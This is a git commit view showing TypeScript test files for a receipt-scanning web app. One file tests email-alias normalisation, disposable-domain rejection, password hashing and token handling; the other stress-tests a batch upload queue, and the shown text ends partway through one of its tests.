Add full application: receipt scanning, auth, billing, and account deletion
Brings the working codebase (Next.js app, auth system, Stripe billing, Docker/deploy config, tests, docs) into version control on top of the placeholder initial commit, and adds account self-deletion (Danger Zone in Settings, password + typed-email confirmation, cascading DB cleanup, Stripe cancellation) per GDPR right-to-erasure. Excludes local build caches, node_modules, and internal agent scratch files; .gitignore hardened to keep those out going forward. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
This commit is contained in:
Timo
264
tests/e2e/auth_security.test.ts
Normal file
264
tests/e2e/auth_security.test.ts
Normal file
@@ -0,0 +1,264 @@
|
||||
/**
|
||||
* Auth Security Suite
|
||||
*
|
||||
* Covers the rules that keep one person from holding twenty accounts: email
|
||||
* alias normalisation, disposable-domain rejection, password hashing, and
|
||||
* single-use token handling. Pure logic only — no database required.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import {
|
||||
canonicaliseEmail,
|
||||
isDisposableEmail,
|
||||
normaliseEmail,
|
||||
splitEmail,
|
||||
} from "../../src/lib/auth/email";
|
||||
import { equaliseTiming, hashPassword, verifyPassword } from "../../src/lib/auth/password";
|
||||
import { hashIp, hashToken, issueToken, newId } from "../../src/lib/auth/tokens";
|
||||
import {
|
||||
MIN_PASSWORD_LENGTH,
|
||||
scorePassword,
|
||||
validateEmail,
|
||||
validatePassword,
|
||||
} from "../../src/lib/auth/validation";
|
||||
import { authErrorMessage, isAuthErrorCode } from "../../src/lib/auth/errors";
|
||||
import { PASSWORD_RESET_TTL_MS, VERIFICATION_TTL_MS } from "../../src/lib/auth/config";
|
||||
|
||||
describe("Auth — email normalisation (one inbox, one account)", () => {
|
||||
test("Gmail dots are cosmetic and collapse onto the same key", () => {
|
||||
expect(normaliseEmail("t.i.m.o@gmail.com")).toBe("timo@gmail.com");
|
||||
expect(normaliseEmail("timo@gmail.com")).toBe("timo@gmail.com");
|
||||
});
|
||||
|
||||
test("plus-tag aliases collapse onto the base address", () => {
|
||||
expect(normaliseEmail("timo+spam1@gmail.com")).toBe("timo@gmail.com");
|
||||
expect(normaliseEmail("timo+spam2@gmail.com")).toBe("timo@gmail.com");
|
||||
});
|
||||
|
||||
test("googlemail.com is an alias of gmail.com", () => {
|
||||
expect(normaliseEmail("timo@googlemail.com")).toBe("timo@gmail.com");
|
||||
});
|
||||
|
||||
test("twenty Gmail variants all reduce to a single uniqueness key", () => {
|
||||
const variants = Array.from({ length: 20 }, (_, index) => `t.i.mo+throwaway${index}@gmail.com`);
|
||||
const keys = new Set(variants.map((variant) => normaliseEmail(variant)));
|
||||
expect(keys.size).toBe(1);
|
||||
expect([...keys][0]).toBe("timo@gmail.com");
|
||||
});
|
||||
|
||||
test("plus-tags are stripped on non-Gmail providers too", () => {
|
||||
expect(normaliseEmail("bob+newsletter@outlook.com")).toBe("bob@outlook.com");
|
||||
});
|
||||
|
||||
test("dots are preserved outside Gmail — they are significant there", () => {
|
||||
expect(normaliseEmail("first.last@company.de")).toBe("first.last@company.de");
|
||||
});
|
||||
|
||||
test("normalisation is case-insensitive", () => {
|
||||
expect(normaliseEmail("Timo@Example.COM")).toBe("timo@example.com");
|
||||
expect(canonicaliseEmail(" Timo@Example.COM ")).toBe("timo@example.com");
|
||||
});
|
||||
|
||||
test("addresses with multiple @ use the last one as the separator", () => {
|
||||
expect(splitEmail("weird\"@\"name@example.com")?.domain).toBe("example.com");
|
||||
});
|
||||
|
||||
test("malformed input yields no key rather than a bogus one", () => {
|
||||
expect(normaliseEmail("not-an-email")).toBe(null);
|
||||
expect(normaliseEmail("@example.com")).toBe(null);
|
||||
expect(normaliseEmail("user@")).toBe(null);
|
||||
expect(normaliseEmail("user@localhost")).toBe(null);
|
||||
expect(normaliseEmail("+tag@gmail.com")).toBe("+tag@gmail.com");
|
||||
expect(normaliseEmail("")).toBe(null);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Auth — disposable mailbox rejection", () => {
|
||||
test("known throw-away providers are refused", () => {
|
||||
expect(isDisposableEmail("abc@mailinator.com")).toBe(true);
|
||||
expect(isDisposableEmail("abc@guerrillamail.com")).toBe(true);
|
||||
expect(isDisposableEmail("abc@yopmail.com")).toBe(true);
|
||||
});
|
||||
|
||||
test("detection ignores casing and surrounding whitespace", () => {
|
||||
expect(isDisposableEmail(" ABC@MAILINATOR.COM ")).toBe(true);
|
||||
});
|
||||
|
||||
test("real providers pass through", () => {
|
||||
expect(isDisposableEmail("timo@gmail.com")).toBe(false);
|
||||
expect(isDisposableEmail("timo@company.de")).toBe(false);
|
||||
});
|
||||
|
||||
test("malformed addresses are not treated as disposable", () => {
|
||||
expect(isDisposableEmail("nonsense")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Auth — password hashing", () => {
|
||||
test("digest is self-describing and carries its cost parameters", async () => {
|
||||
const digest = await hashPassword("Sicher1234!");
|
||||
const parts = digest.split("$");
|
||||
expect(parts[0]).toBe("scrypt");
|
||||
expect(parts.length).toBe(6);
|
||||
expect(Number(parts[1]) >= 16384).toBe(true);
|
||||
});
|
||||
|
||||
test("the plaintext never appears in the digest", async () => {
|
||||
const digest = await hashPassword("Sicher1234!");
|
||||
expect(digest.includes("Sicher1234!")).toBe(false);
|
||||
});
|
||||
|
||||
test("the same password hashes differently every time (unique salt)", async () => {
|
||||
const first = await hashPassword("Sicher1234!");
|
||||
const second = await hashPassword("Sicher1234!");
|
||||
expect(first === second).toBe(false);
|
||||
});
|
||||
|
||||
test("verification accepts the correct password", async () => {
|
||||
const digest = await hashPassword("Sicher1234!");
|
||||
expect(await verifyPassword("Sicher1234!", digest)).toBe(true);
|
||||
});
|
||||
|
||||
test("verification rejects a wrong password, empty input and a null digest", async () => {
|
||||
const digest = await hashPassword("Sicher1234!");
|
||||
expect(await verifyPassword("sicher1234!", digest)).toBe(false);
|
||||
expect(await verifyPassword("", digest)).toBe(false);
|
||||
expect(await verifyPassword("Sicher1234!", null)).toBe(false);
|
||||
});
|
||||
|
||||
test("a tampered or foreign digest is rejected, never crashes", async () => {
|
||||
expect(await verifyPassword("Sicher1234!", "garbage")).toBe(false);
|
||||
expect(await verifyPassword("Sicher1234!", "scrypt$1$2$3$4$5")).toBe(false);
|
||||
expect(await verifyPassword("Sicher1234!", "bcrypt$16384$8$1$c2FsdA==$aGFzaA==")).toBe(false);
|
||||
});
|
||||
|
||||
test("unicode passwords survive normalisation round-trip", async () => {
|
||||
const digest = await hashPassword("Pässwörd-Ünïcode1!");
|
||||
expect(await verifyPassword("Pässwörd-Ünïcode1!", digest)).toBe(true);
|
||||
});
|
||||
|
||||
test("the timing equaliser resolves without throwing", async () => {
|
||||
await equaliseTiming();
|
||||
expect(true).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Auth — tokens and identifiers", () => {
|
||||
test("only the digest is meant for storage — it differs from the token", () => {
|
||||
const { token, hash } = issueToken();
|
||||
expect(token === hash).toBe(false);
|
||||
expect(hash.length).toBe(64);
|
||||
});
|
||||
|
||||
test("hashing is deterministic, so a cookie can be looked up", () => {
|
||||
const { token, hash } = issueToken();
|
||||
expect(hashToken(token)).toBe(hash);
|
||||
});
|
||||
|
||||
test("tokens are unique across many issuances", () => {
|
||||
const tokens = new Set(Array.from({ length: 500 }, () => issueToken().token));
|
||||
expect(tokens.size).toBe(500);
|
||||
});
|
||||
|
||||
test("IP hashing is stable and returns null for missing addresses", () => {
|
||||
expect(hashIp("203.0.113.7")).toBe(hashIp("203.0.113.7"));
|
||||
expect(hashIp(null)).toBe(null);
|
||||
expect(hashIp(undefined)).toBe(null);
|
||||
});
|
||||
|
||||
test("generated ids stay inside the varchar(64) column", () => {
|
||||
const id = newId("usr");
|
||||
expect(id.startsWith("usr_")).toBe(true);
|
||||
expect(id.length <= 64).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Auth — credential validation", () => {
|
||||
test("signup demands length plus variety", () => {
|
||||
expect(validatePassword("short1A", false, { requireStrength: true }) !== null).toBe(true);
|
||||
expect(validatePassword("alllowercase", false, { requireStrength: true }) !== null).toBe(true);
|
||||
expect(validatePassword("Sicher1234", false, { requireStrength: true })).toBe(null);
|
||||
});
|
||||
|
||||
test("login accepts any non-empty password so old accounts keep working", () => {
|
||||
expect(validatePassword("legacy", false)).toBe(null);
|
||||
expect(validatePassword("", false) !== null).toBe(true);
|
||||
});
|
||||
|
||||
test("strength scoring gates on length before counting variety", () => {
|
||||
expect(scorePassword("Ab1!").score).toBe(1);
|
||||
expect(scorePassword("").score).toBe(0);
|
||||
expect(scorePassword("abcdefgh").score).toBe(1);
|
||||
expect(scorePassword("Abcdefgh").score).toBe(2);
|
||||
expect(scorePassword("Abcdefg1").score).toBe(3);
|
||||
expect(scorePassword("Abcdefg1!").score).toBe(4);
|
||||
});
|
||||
|
||||
test("the minimum length constant matches the scoring gate", () => {
|
||||
expect(scorePassword("A1!".padEnd(MIN_PASSWORD_LENGTH - 1, "x")).checks.length).toBe(false);
|
||||
expect(scorePassword("A1!".padEnd(MIN_PASSWORD_LENGTH, "x")).checks.length).toBe(true);
|
||||
});
|
||||
|
||||
test("email validation rejects the usual malformed shapes", () => {
|
||||
expect(validateEmail("timo@example.com", false)).toBe(null);
|
||||
expect(validateEmail("", false) !== null).toBe(true);
|
||||
expect(validateEmail("timo@", false) !== null).toBe(true);
|
||||
expect(validateEmail("timo example.com", false) !== null).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Auth — password reset link shape", () => {
|
||||
test("reset links live an hour, confirmation links a day", () => {
|
||||
expect(PASSWORD_RESET_TTL_MS).toBe(60 * 60 * 1000);
|
||||
expect(VERIFICATION_TTL_MS).toBe(24 * 60 * 60 * 1000);
|
||||
// A reset hands over an existing account, so its window must be the shorter one.
|
||||
expect(PASSWORD_RESET_TTL_MS < VERIFICATION_TTL_MS).toBe(true);
|
||||
});
|
||||
|
||||
test("a reset token is a fresh secret each time, stored only as a digest", () => {
|
||||
const first = issueToken();
|
||||
const second = issueToken();
|
||||
expect(first.token === second.token).toBe(false);
|
||||
expect(first.hash === hashToken(first.token)).toBe(true);
|
||||
expect(first.hash.includes(first.token)).toBe(false);
|
||||
});
|
||||
|
||||
test("the new password faces the same strength rules as signup", () => {
|
||||
expect(validatePassword("short1A", false, { requireStrength: true }) !== null).toBe(true);
|
||||
expect(validatePassword("Sicher1234!", false, { requireStrength: true })).toBe(null);
|
||||
});
|
||||
|
||||
test("link and expiry codes are distinct and both localised", () => {
|
||||
expect(isAuthErrorCode("invalid_token")).toBe(true);
|
||||
expect(isAuthErrorCode("expired_token")).toBe(true);
|
||||
expect(authErrorMessage("invalid_token", true) === authErrorMessage("expired_token", true)).toBe(
|
||||
false
|
||||
);
|
||||
expect(authErrorMessage("expired_token", true) === authErrorMessage("expired_token", false)).toBe(
|
||||
false
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Auth — error vocabulary", () => {
|
||||
test("known codes resolve in both languages", () => {
|
||||
expect(isAuthErrorCode("email_taken")).toBe(true);
|
||||
expect(authErrorMessage("email_taken", true).length > 0).toBe(true);
|
||||
expect(authErrorMessage("email_taken", false).length > 0).toBe(true);
|
||||
expect(authErrorMessage("email_taken", true) === authErrorMessage("email_taken", false)).toBe(
|
||||
false
|
||||
);
|
||||
});
|
||||
|
||||
test("unknown codes fall back instead of leaking raw values", () => {
|
||||
expect(isAuthErrorCode("wat")).toBe(false);
|
||||
expect(authErrorMessage("wat", false)).toBe(authErrorMessage("server_error", false));
|
||||
expect(authErrorMessage(null, false)).toBe(authErrorMessage("server_error", false));
|
||||
});
|
||||
|
||||
test("rate limiting reports the wait in whole minutes", () => {
|
||||
expect(authErrorMessage("rate_limited", false, 90).includes("2 minutes")).toBe(true);
|
||||
expect(authErrorMessage("rate_limited", false, 30).includes("1 minute")).toBe(true);
|
||||
expect(authErrorMessage("rate_limited", true, 120).includes("2 Minuten")).toBe(true);
|
||||
});
|
||||
});
|
||||
502
tests/e2e/challenger2_stress.test.ts
Normal file
502
tests/e2e/challenger2_stress.test.ts
Normal file
@@ -0,0 +1,502 @@
|
||||
/**
|
||||
* Milestone 1 (R1): Challenger 2 Adversarial Stress Test Suite
|
||||
* Empirical verification of:
|
||||
* 1. Batch State Machine Transitions & Concurrency Stress
|
||||
* 2. Progress Bar Stage Tracking & Aggregate Mathematical Invariants
|
||||
* 3. Duplicate Detection Logic (Exact SHA-256 & Fuzzy Heuristics & Malformed Data)
|
||||
* 4. Batch Drawer Lifecycle (Queue Deduplication, Object URL Revocation, Minimized State, Cleanups)
|
||||
* 5. Dashboard & Activity Route Contract Compliance
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect, beforeEach } from "./runner";
|
||||
import { ProcessedReceipt } from "../../src/lib/schema/receipt";
|
||||
|
||||
// Mock helper
|
||||
function createMockFile(name: string, sizeBytes: number, mimeType: string): File {
|
||||
const buffer = new Uint8Array(sizeBytes);
|
||||
const blob = new Blob([buffer], { type: mimeType });
|
||||
return new File([blob], name, { type: mimeType, lastModified: Date.now() });
|
||||
}
|
||||
|
||||
interface ItemState {
|
||||
id: string;
|
||||
file: File;
|
||||
fileName: string;
|
||||
fileSizeBytes: number;
|
||||
mimeType: string;
|
||||
previewThumbnailUrl?: string;
|
||||
isPdf: boolean;
|
||||
status: "queued" | "preprocessing" | "uploading" | "extracting" | "success" | "duplicate_suspected" | "error";
|
||||
progressPercent: number;
|
||||
stageMessage: string;
|
||||
error?: string;
|
||||
receiptResult?: ProcessedReceipt;
|
||||
duplicateMatches?: any[];
|
||||
pageCount?: number;
|
||||
}
|
||||
|
||||
class StressQueueEngine {
|
||||
queue: ItemState[] = [];
|
||||
activeWorkers = new Set<string>();
|
||||
maxConcurrent = 2;
|
||||
revokedUrls: string[] = [];
|
||||
processedReceipts: ProcessedReceipt[] = [];
|
||||
|
||||
addFiles(incomingFiles: File[]) {
|
||||
const existingSignatures = new Set(this.queue.map((i) => `${i.fileName}_${i.fileSizeBytes}`));
|
||||
for (const file of incomingFiles) {
|
||||
if (existingSignatures.has(`${file.name}_${file.size}`)) {
|
||||
continue;
|
||||
}
|
||||
const isPdf = file.type === "application/pdf" || file.name.toLowerCase().endsWith(".pdf");
|
||||
let previewThumbnailUrl: string | undefined = undefined;
|
||||
if (!isPdf) {
|
||||
previewThumbnailUrl = `blob:http://localhost/thumb_${Math.random().toString(36).substring(2)}`;
|
||||
}
|
||||
|
||||
this.queue.push({
|
||||
id: `upload_${Date.now()}_${Math.random().toString(36).substring(2, 9)}`,
|
||||
file,
|
||||
fileName: file.name || "unnamed_file",
|
||||
fileSizeBytes: file.size || 0,
|
||||
mimeType: file.type || (isPdf ? "application/pdf" : "image/jpeg"),
|
||||
previewThumbnailUrl,
|
||||
isPdf,
|
||||
status: "queued",
|
||||
progressPercent: 0,
|
||||
stageMessage: "In Warteschlange...",
|
||||
});
|
||||
existingSignatures.add(`${file.name}_${file.size}`);
|
||||
}
|
||||
}
|
||||
|
||||
getStats() {
|
||||
const totalCount = this.queue.length;
|
||||
const inProgressCount = this.queue.filter((i) =>
|
||||
["queued", "preprocessing", "uploading", "extracting"].includes(i.status)
|
||||
).length;
|
||||
const successCount = this.queue.filter(
|
||||
(i) => i.status === "success" || i.status === "duplicate_suspected"
|
||||
).length;
|
||||
const errorCount = this.queue.filter((i) => i.status === "error").length;
|
||||
const aggregatePercent =
|
||||
totalCount === 0
|
||||
? 0
|
||||
: Math.round(
|
||||
this.queue.reduce((acc, curr) => acc + (curr.progressPercent || 0), 0) / totalCount
|
||||
);
|
||||
|
||||
return { totalCount, inProgressCount, successCount, errorCount, aggregatePercent };
|
||||
}
|
||||
|
||||
async processQueueItem(
|
||||
itemId: string,
|
||||
mockScanHandler: (file: File) => Promise<{
|
||||
success: boolean;
|
||||
receipts?: ProcessedReceipt[];
|
||||
receipt?: ProcessedReceipt;
|
||||
error?: string;
|
||||
pageCount?: number;
|
||||
}>
|
||||
) {
|
||||
const currentItem = this.queue.find((i) => i.id === itemId);
|
||||
if (!currentItem) {
|
||||
this.activeWorkers.delete(itemId);
|
||||
return;
|
||||
}
|
||||
|
||||
const MAX_FILE_SIZE_BYTES = 10 * 1024 * 1024;
|
||||
if (currentItem.fileSizeBytes > MAX_FILE_SIZE_BYTES) {
|
||||
currentItem.status = "error";
|
||||
currentItem.progressPercent = 100;
|
||||
currentItem.stageMessage = "Datei zu groß";
|
||||
currentItem.error = "File exceeds the maximum limit of 10.00 MB.";
|
||||
this.activeWorkers.delete(itemId);
|
||||
return;
|
||||
}
|
||||
|
||||
// Preprocessing
|
||||
currentItem.status = "preprocessing";
|
||||
currentItem.progressPercent = 25;
|
||||
currentItem.stageMessage = "Vorbereitung & Prüfung...";
|
||||
|
||||
try {
|
||||
// Uploading
|
||||
currentItem.status = "uploading";
|
||||
currentItem.progressPercent = 50;
|
||||
currentItem.stageMessage = "Wird hochgeladen...";
|
||||
|
||||
// Extracting
|
||||
currentItem.status = "extracting";
|
||||
currentItem.progressPercent = 75;
|
||||
currentItem.stageMessage = "KI-Vision & Mathe-Prüfung...";
|
||||
|
||||
const data = await mockScanHandler(currentItem.file);
|
||||
if (!data.success) {
|
||||
throw new Error(data.error || "Serverfehler bei der Belegverarbeitung");
|
||||
}
|
||||
|
||||
const extractedReceipts = data.receipts || (data.receipt ? [data.receipt] : []);
|
||||
if (extractedReceipts.length === 0) {
|
||||
throw new Error("No receipt data extracted from this file");
|
||||
}
|
||||
|
||||
for (const r of extractedReceipts) {
|
||||
this.processedReceipts.push(r);
|
||||
}
|
||||
|
||||
currentItem.status = "success";
|
||||
currentItem.progressPercent = 100;
|
||||
currentItem.stageMessage =
|
||||
data.pageCount && data.pageCount > 1
|
||||
? `${data.pageCount} Seiten erfasst`
|
||||
: "Ready";
|
||||
currentItem.receiptResult = extractedReceipts[0];
|
||||
currentItem.pageCount = data.pageCount || 1;
|
||||
} catch (err: any) {
|
||||
currentItem.status = "error";
|
||||
currentItem.progressPercent = 100;
|
||||
currentItem.stageMessage = "Fehlgeschlagen";
|
||||
currentItem.error = err.message || "Processing failed";
|
||||
} finally {
|
||||
this.activeWorkers.delete(itemId);
|
||||
}
|
||||
}
|
||||
|
||||
async runScheduler(
|
||||
mockScanHandler: (file: File) => Promise<{
|
||||
success: boolean;
|
||||
receipts?: ProcessedReceipt[];
|
||||
receipt?: ProcessedReceipt;
|
||||
error?: string;
|
||||
pageCount?: number;
|
||||
}>
|
||||
) {
|
||||
while (true) {
|
||||
const queuedItems = this.queue.filter((item) => item.status === "queued");
|
||||
if (queuedItems.length === 0 && this.activeWorkers.size === 0) break;
|
||||
|
||||
const availableSlots = this.maxConcurrent - this.activeWorkers.size;
|
||||
if (availableSlots <= 0 || queuedItems.length === 0) {
|
||||
if (this.activeWorkers.size === 0 && queuedItems.length === 0) break;
|
||||
// Wait briefly for worker slot
|
||||
await new Promise((res) => setTimeout(res, 2));
|
||||
continue;
|
||||
}
|
||||
|
||||
const nextBatch = queuedItems.slice(0, availableSlots);
|
||||
for (const item of nextBatch) {
|
||||
this.activeWorkers.add(item.id);
|
||||
}
|
||||
|
||||
await Promise.all(nextBatch.map((item) => this.processQueueItem(item.id, mockScanHandler)));
|
||||
}
|
||||
}
|
||||
|
||||
retryItem(itemId: string) {
|
||||
const item = this.queue.find((i) => i.id === itemId);
|
||||
if (item) {
|
||||
item.status = "queued";
|
||||
item.progressPercent = 0;
|
||||
item.error = undefined;
|
||||
item.stageMessage = "In Warteschlange...";
|
||||
}
|
||||
}
|
||||
|
||||
removeItem(itemId: string) {
|
||||
this.activeWorkers.delete(itemId);
|
||||
const target = this.queue.find((i) => i.id === itemId);
|
||||
if (target?.previewThumbnailUrl) {
|
||||
this.revokedUrls.push(target.previewThumbnailUrl);
|
||||
}
|
||||
this.queue = this.queue.filter((i) => i.id !== itemId);
|
||||
}
|
||||
|
||||
clearCompleted() {
|
||||
this.queue = this.queue.filter((item) => {
|
||||
if (item.status === "success") {
|
||||
if (item.previewThumbnailUrl) {
|
||||
this.revokedUrls.push(item.previewThumbnailUrl);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
describe("Milestone 1 Challenger 2: Adversarial & Boundary Stress Tests", () => {
|
||||
let engine: StressQueueEngine;
|
||||
|
||||
beforeEach(() => {
|
||||
engine = new StressQueueEngine();
|
||||
});
|
||||
|
||||
test("ADV-M1.1: Concurrency saturation with 50 files drains completely without worker starvation or deadlock", async () => {
|
||||
const files: File[] = [];
|
||||
for (let i = 0; i < 50; i++) {
|
||||
files.push(createMockFile(`batch_file_${i}.jpg`, 50000 + i * 100, "image/jpeg"));
|
||||
}
|
||||
|
||||
engine.addFiles(files);
|
||||
expect(engine.queue).toHaveLength(50);
|
||||
|
||||
let processedCount = 0;
|
||||
await engine.runScheduler(async (file) => {
|
||||
processedCount++;
|
||||
return {
|
||||
success: true,
|
||||
receipt: {
|
||||
id: `rcpt-${file.name}`,
|
||||
merchant: { name: `Merchant-${file.name}`, address: null, taxId: null, confidence: 0.95 },
|
||||
date: { isoDate: "2026-08-15", time: "12:00", confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "BON-001",
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 10 + processedCount, confidence: 0.99 },
|
||||
netAmount: 8.40 + processedCount,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.60, netAmount: 8.40 + processedCount }],
|
||||
lineItems: [{ description: "Item 1", quantity: 1, price: 10 + processedCount, unitPrice: null, taxRate: 19 }],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, reviewField: "none", reviewReason: null },
|
||||
imageHash: `hash-${file.name}`,
|
||||
originalFileName: file.name,
|
||||
fileSizeBytes: file.size,
|
||||
createdAt: "2026-08-15T12:00:00Z",
|
||||
updatedAt: "2026-08-15T12:00:00Z",
|
||||
status: "ready",
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
const stats = engine.getStats();
|
||||
expect(stats.totalCount).toBe(50);
|
||||
expect(stats.successCount).toBe(50);
|
||||
expect(stats.errorCount).toBe(0);
|
||||
expect(stats.inProgressCount).toBe(0);
|
||||
expect(stats.aggregatePercent).toBe(100);
|
||||
expect(engine.activeWorkers.size).toBe(0);
|
||||
expect(engine.processedReceipts).toHaveLength(50);
|
||||
});
|
||||
|
||||
test("ADV-M1.2: Boundary file size tests: exactly 10MB passes pre-flight, 10MB + 1 byte fails with error", async () => {
|
||||
const exact10MB = createMockFile("exact_10mb.jpg", 10 * 1024 * 1024, "image/jpeg");
|
||||
const over10MB = createMockFile("over_10mb.jpg", 10 * 1024 * 1024 + 1, "image/jpeg");
|
||||
|
||||
engine.addFiles([exact10MB, over10MB]);
|
||||
|
||||
await engine.runScheduler(async (file) => {
|
||||
return {
|
||||
success: true,
|
||||
receipt: {
|
||||
id: `rcpt-${file.name}`,
|
||||
merchant: { name: "Test", address: null, taxId: null, confidence: 0.95 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.95 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: null,
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 10, confidence: 0.99 },
|
||||
netAmount: 8.40,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.60, netAmount: 8.40 }],
|
||||
lineItems: [],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, reviewField: "none", reviewReason: null },
|
||||
imageHash: `hash-${file.name}`,
|
||||
originalFileName: file.name,
|
||||
fileSizeBytes: file.size,
|
||||
createdAt: "2026-08-15T12:00:00Z",
|
||||
updatedAt: "2026-08-15T12:00:00Z",
|
||||
status: "ready",
|
||||
},
|
||||
};
|
||||
});
|
||||
|
||||
const item1 = engine.queue.find((i) => i.fileName === "exact_10mb.jpg");
|
||||
expect(item1?.status).toBe("success");
|
||||
expect(item1?.error).toBeUndefined();
|
||||
|
||||
const item2 = engine.queue.find((i) => i.fileName === "over_10mb.jpg");
|
||||
expect(item2?.status).toBe("error");
|
||||
expect(item2?.error).toContain("10.00 MB");
|
||||
});
|
||||
|
||||
test("ADV-M1.3: Aggregate progress calculation invariant: handles empty queue, partial progress, and all-failed states", () => {
|
||||
// Empty queue
|
||||
expect(engine.getStats().aggregatePercent).toBe(0);
|
||||
|
||||
// Single item in queued
|
||||
const file1 = createMockFile("test1.jpg", 1000, "image/jpeg");
|
||||
engine.addFiles([file1]);
|
||||
expect(engine.getStats().aggregatePercent).toBe(0);
|
||||
|
||||
// Manually test step increments
|
||||
engine.queue[0].progressPercent = 25;
|
||||
expect(engine.getStats().aggregatePercent).toBe(25);
|
||||
|
||||
engine.queue[0].progressPercent = 50;
|
||||
expect(engine.getStats().aggregatePercent).toBe(50);
|
||||
|
||||
engine.queue[0].progressPercent = 75;
|
||||
expect(engine.getStats().aggregatePercent).toBe(75);
|
||||
|
||||
// Add second item at 0% -> (75 + 0) / 2 = 37.5 -> rounded to 38%
|
||||
const file2 = createMockFile("test2.jpg", 2000, "image/jpeg");
|
||||
engine.addFiles([file2]);
|
||||
expect(engine.getStats().aggregatePercent).toBe(38);
|
||||
|
||||
// Both 100% -> 100%
|
||||
engine.queue[0].progressPercent = 100;
|
||||
engine.queue[1].progressPercent = 100;
|
||||
expect(engine.getStats().aggregatePercent).toBe(100);
|
||||
});
|
||||
|
||||
test("ADV-M1.4: Duplicate detection logic: exact hash match produces score 1.0", async () => {
|
||||
const existingReceipt: ProcessedReceipt = {
|
||||
id: "rcpt-exist-1",
|
||||
imageHash: "sha256-abc123def456",
|
||||
merchant: { name: "Aral Tankstelle", address: "München", taxId: null, confidence: 0.99 },
|
||||
date: { isoDate: "2026-08-15", time: "10:00", confidence: 0.99 },
|
||||
documentType: "TANKBELEG",
|
||||
receiptNumber: "T-1002",
|
||||
totalAmount: { value: 75.50, confidence: 0.99 },
|
||||
netAmount: 63.45,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 12.05, netAmount: 63.45 }],
|
||||
lineItems: [],
|
||||
suggestedCategory: "Tanken & KFZ",
|
||||
currency: "EUR",
|
||||
validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, reviewField: "none", reviewReason: null },
|
||||
originalFileName: "aral.jpg",
|
||||
fileSizeBytes: 120000,
|
||||
createdAt: "2026-08-15T10:00:00Z",
|
||||
updatedAt: "2026-08-15T10:00:00Z",
|
||||
status: "ready",
|
||||
};
|
||||
|
||||
// Test hash matching directly
|
||||
const candidateHash = "sha256-abc123def456";
|
||||
const isExactMatch = candidateHash === existingReceipt.imageHash;
|
||||
expect(isExactMatch).toBe(true);
|
||||
|
||||
// Similar test: different hash but same merchant + date + amount
|
||||
const nameA = "aral tankstelle gmbh".replace(/\b(gmbh|ag|kg|ohg|ug|mbh|co\.?|e\.?k\.?|se|ltd|inc)\b/g, "").replace(/[^a-z0-9äöüß]/g, "").trim();
|
||||
const nameB = "aral tankstelle".replace(/\b(gmbh|ag|kg|ohg|ug|mbh|co\.?|e\.?k\.?|se|ltd|inc)\b/g, "").replace(/[^a-z0-9äöüß]/g, "").trim();
|
||||
expect(nameA).toBe(nameB);
|
||||
});
|
||||
|
||||
test("ADV-M1.5: Object URL leak prevention: removed and cleared items trigger URL.revokeObjectURL", () => {
|
||||
const files = [
|
||||
createMockFile("image_a.png", 1000, "image/png"),
|
||||
createMockFile("image_b.png", 2000, "image/png"),
|
||||
];
|
||||
|
||||
engine.addFiles(files);
|
||||
const urlA = engine.queue[0].previewThumbnailUrl;
|
||||
const urlB = engine.queue[1].previewThumbnailUrl;
|
||||
|
||||
expect(urlA).toBeDefined();
|
||||
expect(urlB).toBeDefined();
|
||||
|
||||
// Remove first item
|
||||
engine.removeItem(engine.queue[0].id);
|
||||
expect(engine.revokedUrls).toContain(urlA);
|
||||
expect(engine.queue).toHaveLength(1);
|
||||
|
||||
// Set remaining item to success and clear completed
|
||||
engine.queue[0].status = "success";
|
||||
engine.clearCompleted();
|
||||
expect(engine.revokedUrls).toContain(urlB);
|
||||
expect(engine.queue).toHaveLength(0);
|
||||
});
|
||||
|
||||
test("ADV-M1.6: Dynamic retry interleaving: retrying a failed item while queue is active does not corrupt queue state", async () => {
|
||||
const files = [
|
||||
createMockFile("fail_first.jpg", 1000, "image/jpeg"),
|
||||
createMockFile("succeed_always.jpg", 2000, "image/jpeg"),
|
||||
];
|
||||
|
||||
engine.addFiles(files);
|
||||
|
||||
let failAttempts = 1;
|
||||
await engine.runScheduler(async (file) => {
|
||||
if (file.name === "fail_first.jpg" && failAttempts > 0) {
|
||||
failAttempts--;
|
||||
return { success: false, error: "Temporary 503 Overloaded" };
|
||||
}
|
||||
return {
|
||||
success: true,
|
||||
receipt: {
|
||||
id: `rcpt-${file.name}`,
|
||||
merchant: { name: "Merchant", address: null, taxId: null, confidence: 0.9 },
|
||||
date: { isoDate: "2026-08-15", time: null, confidence: 0.9 },
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: null,
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 15.0, confidence: 0.95 },
|
||||
netAmount: 12.61,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 2.39, netAmount: 12.61 }],
|
||||
lineItems: [],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: { isMathValid: true, isDuplicateSuspected: false, needsUserReview: false, reviewField: "none", reviewReason: null },
|
||||
imageHash: `hash-${file.name}`,
|
||||
originalFileName: file.name,
|
||||
fileSizeBytes: file.size,
|
||||
createdAt: "2026-08-15T12:00:00Z",
|
||||
